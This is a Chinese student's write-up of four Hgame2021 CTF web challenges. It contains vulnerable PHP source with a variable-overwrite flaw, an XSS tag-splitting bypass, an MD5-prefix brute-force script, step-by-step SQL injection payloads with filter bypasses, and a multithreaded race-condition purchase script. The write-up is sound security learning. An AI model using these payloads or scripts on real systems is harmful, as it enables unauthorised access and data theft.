目录:
向大佬学习,
参考自:Hgame2021 week2 web
一、LazyDogR4U
1.我的尝试:
。。。没做出来,,感觉好多,好长,好麻烦,,,
不得不说phpstorm在代码审计的时候,比notepad++强不知道多少,,
2.我的不足:
- 一个就是毅力不够么,,当时看看感觉很复杂就不做了,,
- 看到黑名单,将关键词替换为空。没有很敏感的意识到 替换为空 可以利用 双写绕过 。。这个也是个问题
- 我当时 是想把整个东西代码全部都弄懂之后再 做题,结果,一看WP,根本不用全弄懂嘛( $ _ $ )。。。当时给我看的蒙圈了,其实需要的知识点不多,就是变量覆盖的知识点。
flag.php
<?php
session_start();
require_once 'lazy.php';
/* 你直接访问,就怼 <(^-^)> 你 */
if(!isset($_SESSION['username'])){
die('您配吗?');
}
/* 这里我把一些html的格式给删除了,不影响*/
if($_SESSION['username'] === 'admin')
{
echo "<h3 style='color: white'>admin将于今日获取自己忠实的flag</h3>";
echo "<h3 style='color: white'>$flag</h3>";
}
else
{
if($submit == "getflag") {echo "<h3 style='color: #364036'>{$_SESSION['username']}接近了问题的终点</h3>";}
else {echo "<h3 style='color: white'>篡位者占领了神圣的页面</h3>"}
}
index.php
<?php
session_start();
require_once "lazy.php"; //包含
if(isset($_SESSION['username'])){//如果session中有 username这个值的话,重定向到flag.php
header("Location: flag.php");
exit();
}else{
if(isset($username) && isset($password)){
if((new User())->login($username, $password)){
header("Location: flag.php");
exit();
}else{
echo "<script>alert('食人的魔鬼尝试着向答案进发。')</script>";
}
}
}
?>
lazy.php
<?php
$filter = ["SESSION", "SEVER", "COOKIE", "GLOBALS"];
// 直接注册所有变量,这样我就能少打字力,芜湖~
/* 将get,post两个的传参数组的键值对都拿出来,然后键名中的黑名单替换为空 */
foreach(array('_GET','_POST') as $_request){
foreach ($$_request as $_k => $_v){//这里一看就是突破点嘛,$$容易导致变量覆盖漏洞,
foreach ($filter as $youBadBad){
$_k = str_replace($youBadBad, '', $_k);
}
${$_k} = $_v;
//这个大括号,我去了解了,就是括号的意思,里面的是一个变量,
//然后外边在把里面的值当作可变变量的名
}
}
// 自动加载类,这样我也能少打字力,芜湖~
function auto($class_name){
require_once $class_name . ".php";
}
spl_autoload_register('auto');
user.php
<?php
class User
{
function login($username, $password){
if(session_status() == 1){
session_start();
}
$userList = $this->getUsersList();
if(array_key_exists($username, $userList)){
if(md5($password) == $userList[$username]['pass_md5']){
$_SESSION['username'] = $username;
return true;
}else{
return false;
}
}
return false;
}
function logout(){
unset($_SESSION['username']);
session_destroy();
}
private function getUsersList(){
return Config::getAllUsers();
}
}
config.php
<?php
class Config{
private static array $conf;
/**
* @var array|false
*/
static function init(){
self::$conf = parse_ini_file('config.ini', true);
}
static function getItem($section, $key){
return self::$conf[$section][$key];
}
static function getAllUsers(): array
{
$users = self::$conf;
unset($users['global']);
return $users;
}
}
Config::init();
当时就分析了这么多
3.学习WP的
我参考的wp是从 目的出发的,直接找,从那里能够出flag。
flag.php中的这里session中的username=admin就可了。
if($_SESSION['username'] === 'admin')
{
echo "<h3 style='color: white'>admin将于今日获取自己忠实的flag</h3>";
echo "<h3 style='color: white'>$flag</h3>";
}
session的话,再返回lazy.php
注释是当时做题的时候写的,可以选择性忽略。。
/* 将get,post两个的传参数组的键值对都拿出来,然后键名中的黑名单替换为空 */
foreach(array('_GET','_POST') as $_request){
foreach ($$_request as $_k => $_v){//这里一看就是突破点嘛,$$容易导致变量覆盖漏洞,
foreach ($filter as $youBadBad){
$_k = str_replace($youBadBad, '', $_k);
}
${$_k} = $_v;
//这个大括号,我去了解了,就是括号的意思,里面的是一个变量,
//然后外边在把里面的值当作可变变量的名
}
}
总的功能就是将get,post两个数组中的键值对拿出来,并对他们进行相应的赋值。同时将 键名中的 一些敏感字符给过滤掉。
这里它 将敏感字符替换为空,所以可以 双写绕过 。
。。我第一时间是在lazy.php上提交的,没反应。然后在index上才好
?_SESSION['username']=admin
二、Post to zuckonit
1.自己做的,
我的XSS的水平为0.。
甚至练aler(1)都出不来,,
xss。要弄到管理员的cookie啊
环境坏掉了,,,
2. 不足:
- 没有脚,,,脚本能力太差了。。
3.学习大佬的WP:
说一下大佬的思路吧。首先script会被替换成div,但是我测试发现base会被置换为控,如果构造<scribasept>alert(1)</scribasept>
,可以成功弹窗。
不会,,,想看xss思路的化,看本地的笔记吧,
你输入code,code进行md5加密后的前六位是d600f2的话,就可以submit。然后你的xss脚本是弹cookie的就好。
应该就会弹出cookie然后 抓包访问 flag页面,改一下cookie应该就好了,。然后xss的脚本看这个https://www.cnblogs.com/yuzly/p/10692449.html。里面的xss很全,只要不是bypass很强的,应该都能过。
然后这个code的话,写个py脚本,,
这个脚本还是跟大佬要的。。。哎呀,没脸了,,
import hashlib
for i in range(10000000):
md = hashlib.md5()
md.update(str(i).encode('utf-8'))
n = md.hexdigest()
if n[0:6] == '3c4f4b':
print(i);
# output:
5689538
8869817
三、200OK!!
1.我当时做的:
好家伙,每一次点的都不一样,,抓个包,
整个status有东西的呀,
整个不是常规HTTP头的东西,明显是出题人加的一个头。
尝试看看是不是有sql注入,
用union select 报错也不显示,便想用报错注入看看
。。。结果好像报错注入,也不报错,,我就急躁了,
2.收获:
- 给我的教训就是,要耐心,先别总是急着换方法,别 union select 不好使就换成报错注入,多试试 看,看看哪些被过滤了,。然后慢慢来
- 注意抓包中的HTTP头,注意看里面有什么 多余的 头,就是不是必须的头,很可能那就是解题的地方。
3. 又学习WP,
说是过滤了这些:
['select', 'SELECT', 'from', 'FROM', 'union', 'UNION', 'where','WHERE', ' ']
这就好办了,大小写绕一下, 然后空格绕过一下。绕空格的话,因为不是url,所以不能用%20来绕过,
只能用 /**/ 整个,内敛注释来代替空格了
好家伙,我order by 了半年,唯独没有从1 开始order。。。
3335'/**/uniON/**/SeleCt/**/database()# week2sqli爆的这个,
3335'/**/uniON/**/SeleCt/**/table_name/**/frOm/**/
information_schema.tables/**/whERe/**/table_schema='week2sqli'# f1111111144444444444g
3335'/**/uniON/**/SeleCt/**/column_name/**/frOm/**/information_schema.columns
/**/wheRe/**/table_name='f1111111144444444444g'# ffffff14gggggg
3335'/**/uniON/**/SeleCt/**/ffffff14gggggg/**/fROm/**/f1111111144444444444g#
hgame{Con9raTu1ati0n5+yoU_FXXK~Up-tH3,5Q1!!=)}
讲真的。难顶啊,给我的教训就是,要耐心,先别总是急着换方法,别 union select 不好使就换成报错注入,多试试 看,看看哪些被过滤了,。然后慢慢来
四、Liki的生日礼物
开始一个注册登陆页面,正常注册登陆进入,
1.我的错误的尝试:
我的第一反应是,看看是不是python写的,考点是不是json web token。
不是,然后扫目录也没什么,那就看源码,和网络,看看里面有什么hints没有。
便点开看了看,找到了,我感觉比较有用的东西。
看到这个,也不知道该怎么弄,然后几句看看js代码,看看是不是ks在控制这些购买功能之类的
当时我是看不懂,然后学习WP的时候,也看不懂。。
当时就这样了,不会做啦。
2. WP做法
WP说,这个是典型的条件竞争的题,然后我就赶忙去学习了条件竞争,一看也是啊。买东西,趁他不注意,多买一点就够了嘛,就是买的时候。注意保持SESSION一致。
import threading
import requests
import json
import time
loginurl="https://birthday.liki.link/API/?m=login"
# 注册自己的账号
user={"name":"qwerasdf","password":"qwerasdf"}
# 会话开启
s= requests.session()
# 登陆商城。向这个页面,post数据user
s.post(url=loginurl,data=user)
# 定义一个函数,队徽多线程的时候来调用这个方法
def post():
data = {"amount":"1"}
buyurl = "https://birthday.liki.link/API/?m=buy"# 有解释
# 购买兑换券
try:#能买的话,一次买一个
s.post(url=buyurl,data=data)
except:
print("Failed.")
return
# 构造循环来运行多线程并判断中止条件
while True:
# 这里是获取当前用户的信息
infourl="https://birthday.liki.link/API/?m=getinfo"
info = json.loads(s.get(url=infourl).text)# 有解释
money = info['data']['money']
num = info['data']['num']
print(money)
print(num)
# 当票数超过52张的时候就停止。
if num >= 52:
flagurl = "https://birthday.liki.link/API/?m=getflag" #有解释
print(s.get(url=flagurl).text)#获取该页面的文本
break
# 多线程开启,30个线程同时进行。多一点,30就查不多
for i in range(30):
# 调用post()方法作为执行的方法,注意这个函数只写函数行就行了,不能够加括号
t = threading.Thread(target=post)# 这里也不是太明白
t.start()
time.sleep(10) #这个是时间停留什么意思???
3.对脚本的一些呼应解释:
这里解释一下为什么脚本的第12行那里要用post方法来登陆,这也是我们抓包之后,才能够发现的啊
16行的那个buy的页面
26行的 当前用户信息:
27行打印出来就是这个。和上面这个一样的展示
把数据按照字典的形式弄出来???,等学一下json
这是34行的解释
第38,39,40。这一块再学一学,threading这还不会,还有那个json这里也学一学
42行,time.sleep()推迟
sleep就是停一下子,没有什么,东西,
终于出了,,,
不用sleep也可以的